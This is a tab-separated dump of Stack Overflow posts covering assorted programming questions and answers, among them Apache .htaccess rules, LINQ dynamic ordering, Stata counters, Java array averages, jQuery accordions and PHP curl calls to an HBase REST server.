27498535	0	how to config .htaccess to prevent www.parent.com/child access www.child.com <p>I have a unix shared hosting where I have: </p> <pre><code>/ .htaccess a.html .... child/ .htaccess b.html ...... </code></pre> <p>The www.parent.com points to /<br> The www.child.com points to /child </p> <p>I have to prevent the access to www.parent.com/child without stopping www.child.com from working.<br> The result can be a redirect, a 404 or access denied.<br> The .htaccess files are based on the html5boilerplate .htaccess file. </p> <p>I tried modified the /.htaccess without success:</p> <p>Attempt #1:</p> <pre><code>&lt;Directory /child&gt; Order Deny,Allow Deny from all &lt;/Directory&gt; </code></pre> <p>--> The child.com stopped working. </p> <p>Attempt #2:</p> <pre><code> RewriteCond %{HTTP_HOST} ^.*parent.com.*$ [NC] RewriteRule ^.*/child.*$ / [NC] </code></pre> <p>--> Nothing happens. I also tried different regex combinations. </p> <p>Attempt #3:</p> <pre><code> &lt;IfModule mod_rewrite.c&gt; RewriteCond %{REQUEST_URI} ^.*child.*$ [NC] RewriteRule ^ / [R=302.L] &lt;/IfModule&gt; </code></pre> <p>--> Nothing happens. I known this one is brute force, but it was after trying main less aggressive options. </p> <p>I known that RewriteEngine is on, because this works: </p> <pre><code>&lt;IfModule mod_rewrite.c&gt; RewriteCond %{HTTPS} !=on RewriteCond %{HTTP_HOST} !^www\..+$ [NC] RewriteCond %{HTTP_HOST} !=localhost [NC] RewriteCond %{HTTP_HOST} !=127.0.0.1 RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L] &lt;/IfModule&gt; </code></pre>
10222978	0	 <p>Add backslashes to escape the qote</p> <pre><code>onmouseover="this.className=\''.$overclass.'\';" </code></pre>
1469504	0	 <p>I think I found it:</p> <p>Check out this <a href="http://weblogs.asp.net/scottgu/archive/2008/01/07/dynamic-linq-part-1-using-the-linq-dynamic-query-library.aspx" rel="nofollow noreferrer">link</a>. It will point you to the VS2008 code samples which contains a Dynamic Linq Query Library which contains the extension method below. This will allow you to go:</p> <pre><code>Object.OrderBy("ColumnName"); </code></pre> <p>Here is the extension methods, but you may want the whole library.</p> <pre><code>public static IQueryable&lt;T&gt; OrderBy&lt;T&gt;(this IQueryable&lt;T&gt; source, string ordering, params object[] values) { return (IQueryable&lt;T&gt;)OrderBy((IQueryable)source, ordering, values); } public static IQueryable OrderBy(this IQueryable source, string ordering, params object[] values) { if (source == null) throw new ArgumentNullException("source"); if (ordering == null) throw new ArgumentNullException("ordering"); ParameterExpression[] parameters = new ParameterExpression[] { Expression.Parameter(source.ElementType, "") }; ExpressionParser parser = new ExpressionParser(parameters, ordering, values); IEnumerable&lt;DynamicOrdering&gt; orderings = parser.ParseOrdering(); Expression queryExpr = source.Expression; string methodAsc = "OrderBy"; string methodDesc = "OrderByDescending"; foreach (DynamicOrdering o in orderings) { queryExpr = Expression.Call( typeof(Queryable), o.Ascending ? methodAsc : methodDesc, new Type[] { source.ElementType, o.Selector.Type }, queryExpr, Expression.Quote(Expression.Lambda(o.Selector, parameters))); methodAsc = "ThenBy"; methodDesc = "ThenByDescending"; } return source.Provider.CreateQuery(queryExpr); } </code></pre>
11157812	0	 <p>i like hamsterdb because i wrote it :)</p> <p><a href="http://www.hamsterdb.com" rel="nofollow">http://www.hamsterdb.com</a></p> <ul> <li>frequently used with database sizes of several GBs </li> <li>keys/values can have any size you wish</li> <li>random access + directional access (with cursors)</li> <li>concurrent reads: hamsterdb is thread safe, but not yet concurrent. i'm working on this.</li> <li>if your cache is big enough then access will be very fast (you can specify the cache size)</li> <li>written in c++</li> <li>python extension is available, but terribly outdated; will need fixes</li> </ul> <p>if you want to evaluate hamsterdb and need some help then feel free to drop me a mail.</p>
16242306	0	 <p>Arjan van der Gaag made a gem specifically for this: <a href="https://github.com/avdgaag/nanoc-cachebuster" rel="nofollow">https://github.com/avdgaag/nanoc-cachebuster</a></p> <p><a href="http://arjanvandergaag.nl/blog/nanoc-cachebuster.html" rel="nofollow">To quote the man himself</a>:</p> <blockquote> <p>Usage is simple, as you only need to install the gem:</p> <pre><code>$ gem install nanoc-cachebuster </code></pre> <p>and require the gem and include the helpers to get going:</p> <pre><code># in default.rb require 'nanoc3/cachebuster' include Nanoc3::Helpers::CacheBusting </code></pre> <p>You can now use the #fingerprint method in your routing rules:</p> <pre><code>route '/assets/styles/' do item.identifier.chop + fingerprint(item) + '.' + item[:identifier] end </code></pre> <p>The gem will make sure that references to files you have fingerprinted will get updated when you compile your site.</p> </blockquote>
35813904	0	 <p>If your compiler supports C++ 2011 then you can write the following way providing that letters will be listed in the order in which they are present in the string</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;map&gt; int main() { std::string s( "slowly" ); auto comp = [&amp;]( char c1, char c2 ) { return s.find( c1 ) &lt; s.find( c2 ); }; std::map&lt;char, int, decltype( comp )&gt; m( comp ); for ( char c : s ) ++m[c]; for ( auto p : m ) std::cout &lt;&lt; p.first &lt;&lt; ": " &lt;&lt; p.second &lt;&lt; std::endl; } </code></pre> <p>The program output is</p> <pre><code>s: 1 l: 2 o: 1 w: 1 y: 1 </code></pre> <p>Otherwise if the compiler does not support C++ 2011 then instead of the lambda you have to use a function class defined before main. Also youi should substitute the range-based for loop for an ordinary loop.</p>
17511191	0	 <p>The <code>&lt;</code> and <code>&gt;</code> in code that is mixed with HTML usually cause trouble because these are special characters for html. It is always best to move your script to a separate file and link to it from the html.</p>
13420281	0	 <p>You can store the values in MySQL as <code>INT UNSIGNED</code> which occupies 4 bytes (i.e. 32 bits).</p> <p>To insert the values into the database, you must use <code>sprintf()</code> with <code>%u</code> format on 32 bit machines:</p> <pre><code>$hash = crc32("The quick brown fox jumped over the lazy dog."); $stmt = $db-&gt;prepare('INSERT INTO mytable VALUES (:hash)'); $stmt-&gt;execute(array( ':hash' =&gt; sprintf('%u', $hash), )); </code></pre> <p><strong>Update</strong></p> <p>You could also make sure that you're always working with int32 types (signed long) on both 32 and 64-bit platforms. Currently, you can only accomplish this by using <a href="http://php.net/pack" rel="nofollow"><code>pack()</code></a> and <a href="http://php.net/unpack" rel="nofollow"><code>unpack()</code></a>:</p> <pre><code>echo current(unpack('l', pack('l', $hash))); // returns -2103228862 on both 32-bit and 64-bit platforms </code></pre> <p>The idea for this was contributed by <a href="http://stackoverflow.com/users/283851/mindplay-dk">mindplay.dk</a></p>
14942189	0	 <p>You most definitely can by creating a new control template and set some triggers in it.</p> <p>See this <a href="http://stackoverflow.com/questions/1607066/wpf-watermark-passwordbox-from-watermark-textbox">SO post</a></p>
17860884	0	 <p>As SLaks said best should be a List:</p> <pre><code>Dim sArray As New List(Of String) Dim fStream As New System.IO.FileStream("messages.txt", IO.FileMode.Open) Dim sReader As New System.IO.StreamReader(fStream) Do While sReader.Peek &gt;= 0 sArray.add(sReader.ReadLine) Loop fStream.Close() sReader.Close() </code></pre>
38832353	0	 <p>In Stata terms no loops are needed here at all, except those tacit in <code>generate</code> and <code>replace</code>. You want to set a counter going each time immediately after you hit a cutoff, and then identify counter values between 1 and 5. Here's some technique: </p> <pre><code>sysuse auto.dta, clear global cutoffs 3299,4424,5104,5788,10371 sort price gen counter = 0 if inlist(price, $cutoffs) replace counter = counter[_n-1] + 1 if missing(counter) gen wanted = inrange(counter, 1, 5) list price counter wanted +---------------------------+ | price counter wanted | |---------------------------| 1. | 3,291 . 0 | 2. | 3,299 0 0 | 3. | 3,667 1 1 | 4. | 3,748 2 1 | 5. | 3,798 3 1 | |---------------------------| 6. | 3,799 4 1 | 7. | 3,829 5 1 | 8. | 3,895 6 0 | 9. | 3,955 7 0 | 10. | 3,984 8 0 | |---------------------------| 11. | 3,995 9 0 | 12. | 4,010 10 0 | 13. | 4,060 11 0 | 14. | 4,082 12 0 | 15. | 4,099 13 0 | |---------------------------| 16. | 4,172 14 0 | 17. | 4,181 15 0 | 18. | 4,187 16 0 | 19. | 4,195 17 0 | 20. | 4,296 18 0 | |---------------------------| 21. | 4,389 19 0 | 22. | 4,424 0 0 | 23. | 4,425 1 1 | 24. | 4,453 2 1 | 25. | 4,482 3 1 | |---------------------------| 26. | 4,499 4 1 | 27. | 4,504 5 1 | 28. | 4,516 6 0 | 29. | 4,589 7 0 | 30. | 4,647 8 0 | |---------------------------| 31. | 4,697 9 0 | 32. | 4,723 10 0 | 33. | 4,733 11 0 | 34. | 4,749 12 0 | 35. | 4,816 13 0 | |---------------------------| 36. | 4,890 14 0 | 37. | 4,934 15 0 | 38. | 5,079 16 0 | 39. | 5,104 0 0 | 40. | 5,172 1 1 | |---------------------------| 41. | 5,189 2 1 | 42. | 5,222 3 1 | 43. | 5,379 4 1 | 44. | 5,397 5 1 | 45. | 5,705 6 0 | |---------------------------| 46. | 5,719 7 0 | 47. | 5,788 0 0 | 48. | 5,798 1 1 | 49. | 5,799 2 1 | 50. | 5,886 3 1 | |---------------------------| 51. | 5,899 4 1 | 52. | 6,165 5 1 | 53. | 6,229 6 0 | 54. | 6,295 7 0 | 55. | 6,303 8 0 | |---------------------------| 56. | 6,342 9 0 | 57. | 6,486 10 0 | 58. | 6,850 11 0 | 59. | 7,140 12 0 | 60. | 7,827 13 0 | |---------------------------| 61. | 8,129 14 0 | 62. | 8,814 15 0 | 63. | 9,690 16 0 | 64. | 9,735 17 0 | 65. | 10,371 0 0 | |---------------------------| 66. | 10,372 1 1 | 67. | 11,385 2 1 | 68. | 11,497 3 1 | 69. | 11,995 4 1 | 70. | 12,990 5 1 | |---------------------------| 71. | 13,466 6 0 | 72. | 13,594 7 0 | 73. | 14,500 8 0 | 74. | 15,906 9 0 | +---------------------------+ </code></pre> <p>In fact, your text says "the next five observations after" but your code implements not that only that, but the cutoff observation too. For the latter, use <code>inrange(counter, 0, 5)</code>. </p> <p>Understanding the principles explained <a href="http://www.stata.com/support/faqs/data-management/replacing-missing-values/" rel="nofollow">here</a> is crucial for this question. </p> <p>For <code>inrange()</code> and <code>inlist()</code> see their help entries and/or <a href="http://www.stata-journal.com/sjpdf.html?articlenum=dm0026" rel="nofollow">this paper</a>. </p> <p>So, what did you do wrong? </p> <p>This line </p> <pre><code> forval `i' = 0/25 { </code></pre> <p>in illegal unless you have previously defined the local macro <code>i</code> (and rather odd style even then). You perhaps meant </p> <pre><code> forval i = 0/25 { </code></pre> <p>although where the 25 comes from, given your problem statement, is unclear to me. The error message isn't especially helpful, but Stata is struggling to make sense of code with a hole in it, given that the local macro implied by your code is not defined. </p>
38324594	0	Funny grep situation <p>I have 99999 XML-files which I presume all contain the tag <code>"&lt;A_ItemKey&gt;"</code>.</p> <p>When I run this command:</p> <pre><code>cat *.xml | grep "&lt;A_ItemKey&gt;" | wc -l </code></pre> <p>I get the result 75140</p> <p>However if I run this command:</p> <pre><code>grep "&lt;A_ItemKey&gt;" *.xml | wc -l </code></pre> <p>I get the result 99999 (which I believe is correct).</p> <p>Why don't these two commands show the same results?</p> <p>Many thanks in advance:-)</p> <p>/Paul</p>
19812756	0	 <p>You shutdown the input, you got EOFException when reading the input. That's exactly what's supposed to happen. You have to catch EOFException anyway when reading an ObjectInputStream. There is no 'complex problem' here at all. Just poor exception handling.</p>
20006336	0	 <p>You should use the <a href="http://developer.android.com/reference/java/math/BigInteger.html#modPow%28java.math.BigInteger,%20java.math.BigInteger%29" rel="nofollow"><code>BigInteger.modPow</code></a> method or an equivalent solution that uses an efficient <a href="http://en.wikipedia.org/wiki/Modular_exponentiation" rel="nofollow">modular exponentiation</a> algorithm.</p>
10169662	0	 <p>That package is a runtime package containing the VCL. You presumably also need to deploy rtl90.bpl for the RTL and possibly some others. By enabling runtime packages you are promising to deploy those packages where the executable can find them.</p> <p>You have 3 main options:</p> <ol> <li>Deploy the packages to a location that is contained in the PATH variable. Usually this means modifying PATH. You should never write to the system directory. It is owned by the system and you should respect that.</li> <li>Deploy the packages to the same directory as the executable file.</li> <li>Disable runtime packages and therefore build a single self-contained executable. The RTL/VCL code will be statically linked into your executable.</li> </ol> <p>Option 1 is poor in my view. Relying on the PATH variable and the ability to modify it is fragile. Option 2 works but seems rather pointless in comparison with option 3. You deploy more files and larger files when you choose 2, so why choose it.</p> <p>In summary I recommend option 3. Statically link all RTL/VCL code into your executable.</p> <p>The only situation where option 2 wins, in my view, is when you have multiple related executables that are all deployed to the same directory. In that situation sharing the RTL/VCL code can make sense.</p>
32779952	0	Windows Charts Forms C# Auto labeling of the points on X <p>I'm having some issues with Windows charts and the points displayed on the x-axis. </p> <p>I have two plots of data in a line chart based upon set data points, e.g. 200,400,600,800,1000. I also use a 3rd &amp; 4th series to colour areas depending which line is higher. To do this I've had to add extra points where the two lines intersect. This then throws out the labels on the x axis as the chart automatically labels the points something odd such as:</p> <p>|<br> |<br> |<br> | </p> <p>=========================<br> 120......370.....590.....730......850</p> <p>Is there a way I can explicitly specify the datapoints on the axis that I want to use, other than the min-maximum value function?</p>
2038097	0	randomized binary search trees <p>Randomized binary search trees like treap give a good performance (in the order of O(log n)) with high probability while avoiding complicated (and costly) rebalancing operations that are needed for deterministic balanced trees like AVL, red-blackm, AA, etc.</p> <p>We know that if we add random keys to a simple BST, we can expect it is reasonably balanced. A simple reason is that the number of heavily non-balanced trees for n nodes it's much lower than the number of "almost balanced" trees and hence, a random order for the insertion of the keys is likely to end up with an acceptable tree.</p> <p>In this case, in "The Art of Computer Programming", Knuth gives a little bit more than 1.3*lg2(n) as the average length of a path which is rather good. He also says that <em>deleting</em> a random key from the a random tree preserves its randomness (and hence its good average balancing).</p> <p>It seems, then, that a binary search tree where keys are inserted and deleted in a random order would most likely give performance in the order of O(log n) for all three operations: search, insert and delete.</p> <p>That said, I wonder if the following approach would give the same good properties:</p> <ul> <li>take an hash function h(x) that is known to be "good" (e.g. it ensure an even spread of the keys)</li> <li>use the order set by h(x) on the keys instead of the ordering on k. </li> <li>in case of collision, order according the key. That should be rare if the hash key is good enough and the range of the hash function is much bigger than the set of the keys.</li> </ul> <p>To give an example a BST for the key { 4, 3, 5 , 1, 2} inserted in that order, would be:</p> <pre><code> 4 / \ 3 5 /\ 1 2 </code></pre> <p>Assuming the hash function would map them to (respectively) {221,142,12,380,18) we would get.</p> <pre><code> 221(4) / \ 142(3) 380(1) / \ 12(5) 18(2) </code></pre> <p>The key point is that a "regular" BST may degenerate because the keys are inserted according the same ordering relation that is used to store them in the tree (their "natural" ordering, for example the alphabetical order of string) but the hash function induces an ordering on the keys that is completely unrelated to the "natural" one and, hence, should give the same results as if the keys were inserted in random order.</p> <p>A strong assumption is that the hash function is "good", but it's not an unreasonable one, I think.</p> <p>I didn't find any reference to a similar approach in the literature so it might be completely wrong, but I can't see why!</p> <p>Do you see any drawback in my reasoning? Anyone has already attempted doing it?</p>
17402672	0	CSS width wierdness in Chrome and Firefox with Pure CSS <p>To start off with, I'm quite new to CSS still so I hope I haven't done anything horrendously stupid.</p> <p>Basically, I have a design I'm doing built using <a href="http://www.purecss.io" rel="nofollow">Pure</a> and the width is playing up in Google Chrome, while it works as intended in Firefox.</p> <p>Here's a link to what I've done: <a href="http://egf.me/Rushd/rushdtest.html" rel="nofollow">http://egf.me/Rushd/rushdtest.html</a> and screenshots:</p> <ul> <li>Firefox: <a href="http://i.imgur.com/mn3GIbT.png" rel="nofollow">http://i.imgur.com/mn3GIbT.png</a></li> <li>Chrome: <a href="http://i.imgur.com/44jLC6J.png" rel="nofollow">http://i.imgur.com/44jLC6J.png</a></li> </ul> <p>If you have a look at the page source, I haven't really done anything in my own CSS to change anything (I commented it all out as a check just to be sure) so I'm guessing I'm somehow using Pure wrong, since their own site renders fine on Chrome.</p> <p>Also, inspecting the elements with Chrome's dev tools show that the div elements which should be next to each other have widths which add up to less than that of the parent. And nothing there seems to have buffers or padding. Also, if I manually reduce the widths to be very very slightly less, Chrome seems to magically fix everything.</p>
7975049	0	 <p>Netbeans has an option (in the project properties under c++), to have the file path as absolute or relative. So I all had to do was, set the relative option and push the changes . The project started working for everyone ! VOILA !!!!!!!!</p>
1338585	0	 <p>I've found that <a href="http://craigsworks.com/projects/qtip/" rel="nofollow noreferrer">qTip</a> has met all of my tooltip needs:</p>
35245296	0	Calculating an average with an array in Java; Homework <p>I have a homework assignment, and these are the 5 questions,</p> <blockquote> <ol> <li>What is the total of all the elements in the array.</li> <li>What is the average of all the elements in the array.</li> <li>What are the largest and smallest numbers in the array. (one loop for both questions)</li> <li>Display all the odd numbers in the array. Use the modulus function (%) on page 46.</li> <li>Print every other number in the array.</li> </ol> </blockquote> <p>I am having trouble finding the average, or writing the code that finds it. </p> <pre><code>public class JavaApplication { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here int nums[] = {33,66,77,88,60,91,87,92,76,90}; int sum = 0; for (int i = 0; i &lt; 10; i++){ sum +=nums[i]; } System.out.println("The sum is " + sum); int average = 0; Here for (int i = 0; i &lt; nums.length; i++) { | sum = sum + nums[i]; | } System.out.println("Average value is " + average); and here. int min, max; min = max = nums [0]; for(int i=1; i &lt; 10; i++) { if(nums[i] &lt; min) min = nums[i]; if(nums[i] &gt; max) max = nums[i]; } System.out.println("min and max: " + min + " " + max); } } </code></pre> <p>This is my second week in this class, So please explain what needs to be added or not and thanks :)</p>
9497778	0	 <p>You need to use single quotes instead of double quotes. </p> <p>You can find the MySQL date functions at <a href="http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html</a></p>
12824913	0	 <p>SO, you don't want the lower bound to be inclusive, right?</p> <pre><code>SET @value = 2; SELECT * FROM table WHERE from &gt; @value AND @value &lt;= to; </code></pre>
28863904	0	 <p>Basically you can get the element at a specific position in a list by using</p> <pre><code>list.get(index); </code></pre> <p>or in your case</p> <pre><code> playerItems.get(currentChoice); </code></pre>
31890260	0	Plugin created using java code is not working <p>My in tension is to create a plugin at at the run time using java code.First a created executable jar using the <code>java.util.jar.JarOutputStream</code> and used <code>javax.tools.JavaCompiler</code> for compiling the classes. And I was able to execute the jar from command line properly.</p> <p>Then I tried to create a pluign by including the plugin.xml file in the jar package and compiled the classes by using the above packages and plugin is created with out any errors.</p> <p>But I was using an extension point for the plugin and it is not detecting while I am putting my plugin in the eclipse product.</p> <p>Then I exported it by using eclispe export option and it is working properly for me. I unzipped both the jar created programtically and by using eclispe and the contents are same.</p> <p>How can I solve this issue?</p>
11717856	0	access div in iframe parent <p>I have a page which contains an iframe to another page, what I am looking for is to click something inside the iframe, which can then access or more specifically hide a div in the parent. I know some JQuery but for some reason just sit there blankly at the code editor when I try to write it on my own</p>
27554301	0	 <p>The problem is that you have the same id for both accordions (<em>which is invalid html to start with</em>) which makes the plugin always match the first one.</p> <p>If you use classes it works fine</p> <pre><code>&lt;div class="accordion"&gt; &lt;h3&gt;Home&lt;/h3&gt; &lt;div class="accordion"&gt; &lt;h3&gt;Sub-Div1&lt;/h3&gt; &lt;div&gt; &lt;p&gt;This is a sub-div&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>and</p> <pre><code>$(".accordion").accordion({ header: "&gt; h3:not(.item)", heightStyle: "content", active: false, collapsible: true }); </code></pre> <p>Demo at <a href="http://jsfiddle.net/gaby/xmq8xhvp/" rel="nofollow">http://jsfiddle.net/gaby/xmq8xhvp/</a></p>
2041501	0	 <p>In Autofac you use Modules for this purpose. Groups of related components are encapsulated in a module, which is configured by the programmatic API.</p> <p>Autofac's XML configuration has support for modules, so once you've decided to use one in an applicaiton, you can register the module (rather than all the components it contains) in the config file.</p> <p>Modules support parameters that can be forwarded to the components inside, e.g. connection strings, URIs, etc.</p> <p>The documentation here should get you started: <a href="http://code.google.com/p/autofac/wiki/StructuringWithModules" rel="nofollow noreferrer">http://code.google.com/p/autofac/wiki/StructuringWithModules</a></p> <p>HTH</p> <p>Nick</p>
33845630	0	Database with HTTP API out of the box <p>I am looking for a database with HTTP REST API out of the box. I want to skip the middle tier between client and database.</p> <p>One option I found is a HTTP Plugin for MySQL which operates with JSON format <a href="http://blog.ulf-wendel.de/2014/mysql-5-7-http-plugin-mysql/" rel="nofollow">http://blog.ulf-wendel.de/2014/mysql-5-7-http-plugin-mysql/</a></p> <p>Can someone suggest other similar solutions? I want to save development time and effort for some queries.</p>
34407807	0	 <p>If your list of equipment is <code>list_of_shields</code>, you can achieve what you want like this:</p> <pre><code>choice = raw_input('choose a valid shield from the list please:') while choice not in list_of_shields: choice = raw_input('choose a valid shield from the list please:') </code></pre>
31202400	0	Menu field is not closing, when clicked on menu <p>I have one question with my code.</p> <p>I have created this <strong><a href="http://jsfiddle.net/mustafaozturk74/b6rhxaxd/10/">DEMO</a></strong> from jsfiddle.net</p> <p>When you click the red div then the menu will opening but if you click the menu items the menu area will not closing. </p> <p>What do i need to close the menu area when clicked the menu?</p> <pre><code>&lt;div class="p_change" tabindex="0" id="1"&gt; &lt;div class="pr_icon"&gt;&lt;div class="icon-kr icon-globe"&gt;&lt;/div&gt;CLICK&lt;/div&gt; &lt;div class="pr_type"&gt; &lt;div class="type_s change_pri md-ripple" data-id="0"&gt;&lt;div class="icon-pr icon-globe"&gt;&lt;/div&gt;1&lt;/div&gt; &lt;div class="type_s change_pri md-ripple" data-id="1"&gt;&lt;div class="icon-pr icon-contacs"&gt;&lt;/div&gt;2&lt;/div&gt; &lt;div class="type_s change_pri md-ripple" data-id="2"&gt;&lt;div class="icon-pr icon-lock-1"&gt;&lt;/div&gt;3&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="p_change" tabindex="0" id="2"&gt; &lt;div class="pr_icon"&gt;&lt;div class="icon-kr icon-globe"&gt;&lt;/div&gt;CLICK&lt;/div&gt; &lt;div class="pr_type"&gt; &lt;div class="type_s change_pri md-ripple" data-id="0"&gt;&lt;div class="icon-pr icon-globe"&gt;&lt;/div&gt;1&lt;/div&gt; &lt;div class="type_s change_pri md-ripple" data-id="1"&gt;&lt;div class="icon-pr icon-contacs"&gt;&lt;/div&gt;2&lt;/div&gt; &lt;div class="type_s change_pri md-ripple" data-id="2"&gt;&lt;div class="icon-pr icon-lock-1"&gt;&lt;/div&gt;3&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>JS</p> <pre><code>$(document).ready(function() { $('.pr_icon').on('click',function(e){ // Change Post Privacy $('.change_pri').on('click',function(event){ event.stopPropagation(); var dataid = $(this).attr('data-id'); var id = $(this).closest('.p_change').attr('id'); var class_name = $(this).find(".icon-pr").attr("class"); class_name = class_name.replace(/icon\-pr\s+/gi, ""); $(this).closest(".p_change").find(".icon-kr").removeClass().addClass("icon-kr " + class_name); $.ajax({ type: "POST", url: "change_id.php", data: { dataid : dataid, id: id } }).success(function(html){ if (html.trim() === "1") { // Do Something } else { // Do something } }); }); }); </code></pre>
21847566	0	How to use checkbox in ruby on rails <p>I have a code of checkbox below in ruby on rails:</p> <pre><code>&lt;%= check_box(:Monday,{:id =&gt; "Monday",:value =&gt; "Monday"}) %&gt; </code></pre> <p>But, it shows only the checkbox but not shows its text i.e "Monday".</p> <p>So what should I do to display the text of checkbox, kindly suggest me, waiting for reply. Thanks</p>
40681324	0	C++ STL vector Deep erase <p>How to deep erase a vector?</p> <p>Consider the following code.</p> <pre><code>#include&lt;algorithm&gt; #include&lt;iostream&gt; #include&lt;iterator&gt; #include&lt;vector&gt; using namespace std; int main(){ vector&lt;int&gt; v {1,2,3,4,5}; for_each(begin(v),end(v),[&amp;v](int&amp; n){ static auto i = (int)0; if(n == 2){ v.erase ( begin(v) +2, end(v)); } cout &lt;&lt; n &lt;&lt; " having index " &lt;&lt; i++ &lt;&lt; endl; }); v.erase ( begin(v) +2, end(v)); cout &lt;&lt; v.size() &lt;&lt; endl &lt;&lt; v[4] &lt;&lt; endl; } </code></pre> <p>Output is</p> <pre><code>1 having index 0 2 having index 1 3 having index 2 4 having index 3 5 having index 4 2 4 </code></pre> <p>What I want is accessing v[i] for any i from 2 to 4 to be invalid and compiler to throw an error.</p> <p>In simpler words how to deep erase a vector?</p>
12224659	0	 <p>Your Action method is returning a collection of Objects, that would be structured like this;</p> <pre><code>[ { tagName: result1}, {tagName: result2} ... ] </code></pre> <p>Because you use the result directly for the autocomplete, the method needs to return data in one of the <a href="http://jqueryui.com/demos/autocomplete/#remote-jsonp" rel="nofollow">following two formats</a>;</p> <blockquote> <p>The data from local data, a url or a callback can come in two variants:</p> <p>An Array of Strings:<br> <code>[ "Choice1", "Choice2" ]</code></p> <p>An Array of Objects with label and value properties:<br> <code>[ { label: "Choice1", value: "value1" }, ... ]</code></p> </blockquote> <p>Alternatively, you could take the results and map them appropriately to one of the above formats before posting them to the response method.</p>
19888087	0	 <p>You can use a common selector for your 'a lot of styles!':</p> <pre><code>#f1, #f2 { a lot of styles! } #f1 { order: 1; } #f2 { order: 2; } </code></pre> <p>A proper alternative, to reduce the first selector, is to assign a class to each element, for example .common and replacing <code>#f1, #f2, ...</code> by <code>.common</code></p> <p>More information : <a href="http://www.w3schools.com/cssref/sel_element_comma.asp" rel="nofollow">CSS element,element Selector</a></p>
35966987	0	Storing data to Flash in Wireless Sensor Networks on loosing connection <p>I have to implement an optimal solution to store values of sensor into NOR Flash with time stamps on loosing connection and send to the central server when connection comes back. A queue like implementation is needed. Will anyone please suggest an implementation Open source or proprietary, or any algorithms for same. It should have properties like wear leveling, write fail safe and erase fail safe.</p> <p>It is a 256Mb Spansion NOR flash(S25FL256S). I need to store only less than 64bytes (including time stamp) every 60 seconds, if there is no connection. Page size of flash is 256 bytes and sector size is 256KB. Erase cycle endurance of flash is 100,000</p>
2728780	0	 <p>The Linq provider in NHibernate 2.x is very limited and it usually has problems with projections of entities.</p> <p>Your query probably works with the included Linq provider in NHibernate 3.x.</p> <p>HQL is easy:</p> <pre><code>select Sender from Enquiry where Created &lt; current_timestamp </code></pre> <p>(You can also use a parameter for DateTime.Now)</p>
39048052	0	 <p>You have to concatenate <code>$row['mykey']</code> to <code>stmt2</code> instead of including it directly because it might be interpreted as a string.</p> <p>It should be like this</p> <pre><code>$stmt2 = $conn-&gt;prepare("SELECT client_id, companyname, contact, contractor_lock FROM table two WHERE contractor_lock = ?"); $stmt2-&gt;execute($row['mykey']); </code></pre>
39492677	0	 <p>The problem is the attaching thing, use <code>Add</code> instead.</p> <p>When you do the <code>context.sample_set.Attach(s1);</code>, what it really does is create the instance of all related objects in the new context and then add them to the sample_set, that why it works.</p> <p>When you try to <code>context.sample_set.Attach(s2);</code>, it tries to create again all shared <code>samples</code>, that is why it throws the exception.</p> <p>So my suggestion to you is :</p> <pre><code>context.sample_set.Add(s1); context.sample_set.Add(s2); context.SaveChanges(); </code></pre> <p>I hope it helps.</p>
32979963	0	Make POST JSon requests to HBase REST by CURL with PHP <p>[Solved] I have an HBase 1.1.2 standalone installation on Ubuntu 14 and I need to retrieve and update data by PHP POST request (I cannot use GET because of length limit) through a REST server. I was going to use a curl PHP object but my problem is I don't understand how to format the request (in JSON or XML) to be submitted in POST at REST server.</p> <p>Can anyone help me?</p> <p>Thanks</p> <p>Let me add my object i would like to use for all the request: getting rows by key and set\create row. My problem is how make $DATA field according different action.</p> <pre><code>function method($method, $data=NULL, &amp; $http_code, &amp; $response) { $ch = curl_init(); if(isset($header)) { curl_setop(CURLOPT_HTTPHEADER, $header); } curl_setopt($ch, CURLOPT_URL, "http://" . $GLOBALS['DBDW']['hostname'] . $GLOBALS['DBDW']['port']); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //nuovi curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Accept: application/json', 'Connection: ' . ( $this-&gt;options['alive'] ? 'Keep-Alive' : 'Close' ), )); // fine nuovi switch(strtoupper($method)){ case 'DELETE': curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE'); // i have to set CURLOPT_POSTFIELDS and if yes how? break; case 'POST': curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // how setting CURLOPT_POSTFIELDS and if yes how? break; case 'GET': curl_setopt($curl, CURLOPT_HTTPGET, 1); // i have to set CURLOPT_POSTFIELDS and if yes how? break; } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $this-&gt;log(LOG_DEBUG, "HTTP code: " . $http_code, __FILE__, __LINE__, __CLASS__); $curl_errno = curl_errno($ch); $curl_error = curl_error($ch); curl_close($ch); if ($response === false) { $this-&gt;log(LOG_ERR, "HTTP " . $method . " failed on url '" . $url . "'", __FILE__, __LINE__, __CLASS__); $this-&gt;log(LOG_ERR, "cURL error: " . $curl_errno . ":" . $curl_error, __FILE__, __LINE__, __CLASS__); $http_code=ERR_COMMUNICATION_FAILED; return false; } return true; } </code></pre>
6573600	0	 <p>The MIME type for JPEG is <code>image/jpeg</code>. You have <code>image/jpg</code>.</p>
